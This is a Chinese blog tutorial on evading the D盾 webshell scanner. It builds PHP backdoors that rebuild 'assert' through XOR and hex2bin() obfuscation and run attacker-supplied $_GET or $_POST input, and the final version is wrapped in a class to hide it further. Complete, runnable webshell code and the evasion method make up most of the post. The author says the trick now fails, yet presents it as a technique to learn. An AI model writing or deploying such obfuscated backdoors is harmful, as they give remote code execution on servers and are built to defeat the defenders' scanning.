##前言
做安全嘛,总归是要和杀软打交道的,要不然没法混呀。
平时我们经常见到的有D盾、安全狗……那我就先拿D盾下手吧。
##准备
D盾下载链接:http://www.d99net.net/
我们可以直接将写好的后门,放入D盾进行查杀,这个比较方便。
##学习
首先,要理解离散数学的一个概念——可逆性。
离散数学中的异或(^)便有这种性质。
举个例子:
“c”^”7″=T,那么 “T”^”c”=7。这便是异或的可逆性。
但是,在实战过程中,会发现很多的异或结果,显示不出来,在页面中显示的就是一个小方块。(这是yzddmr6大佬总结的经验)
例如,这样子:
出现这种情况,我们可以通过url编码,来解决这个问题。
但是呢,又发现了,用url编码,还是会有几率出现 不可表示的字符。
所以,最好的办法就是采用hex。
我们要利用php中的 hex2bin() 函数。该函数的作用是:把十六进制值的字符串转换为 ASCII 字符。
$_0='%'^hex2bin('44'); //a $_1='s'^hex2bin('00'); //s $_2='D'^hex2bin('37'); //s $_3='|'^hex2bin('19'); //e $_4='P'^hex2bin('22'); //r $_5='J'^hex2bin('3e'); //t
以上代码进行异或,再进行拼接就会得到 assert
<?php $_0='%'^hex2bin('44'); //a $_1='s'^hex2bin('00'); //s $_2='D'^hex2bin('37'); //s $_3='|'^hex2bin('19'); //e $_4='P'^hex2bin('22'); //r $_5='J'^hex2bin('3e'); //t $config=$_0.$_1.$_2.$_3.$_4.$_5; $config($_GET['gu']) ?>
成功利用。
补充一下:如何将ASCII转为十六进制。
<?php $_A = "G"^"t"; echo $_A; echo bin2hex($_A); ?>
##进阶
接下来,我们要做一个字符串池,存储特殊符号,并随机取出字符,与我们的字符串(assert)进行异或,这样我们就可以得无数多想要的结果。
<?php error_reporting(0); function randomkeys($length) { $pattern = '`~-=!@#$%^&*()_+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; for($i=0;$i<$length;$i++) { $key[$i] = $pattern{mt_rand(0,strlen($pattern)-1)}; } return $key; } print_r(randomkeys(10)); //可以选择生成随机字符的个数 ?>
为了使其更加隐蔽,我们将其放入类中,再调用
<?php error_reporting(0); class ZKAB{ function zkab($mysql){ $_0='G'^hex2bin('26'); $_1='#'^hex2bin('50'); $_2='}'^hex2bin('0e'); $_3='*'^hex2bin('4f'); $_4='P'^hex2bin('22'); $_5='G'^hex2bin('33'); $config=$_0.$_1.$_2.$_3.$_4.$_5; return $config($mysql);}} $zkab=new ZKAB(); $zkab->zkab($_POST['gu']) ?>
##后记
虽然,现在来说,这种方法已经失效了(因为用的人多了)。但是这种免杀的过程,是很有必要学习的,一步步来,加油吧。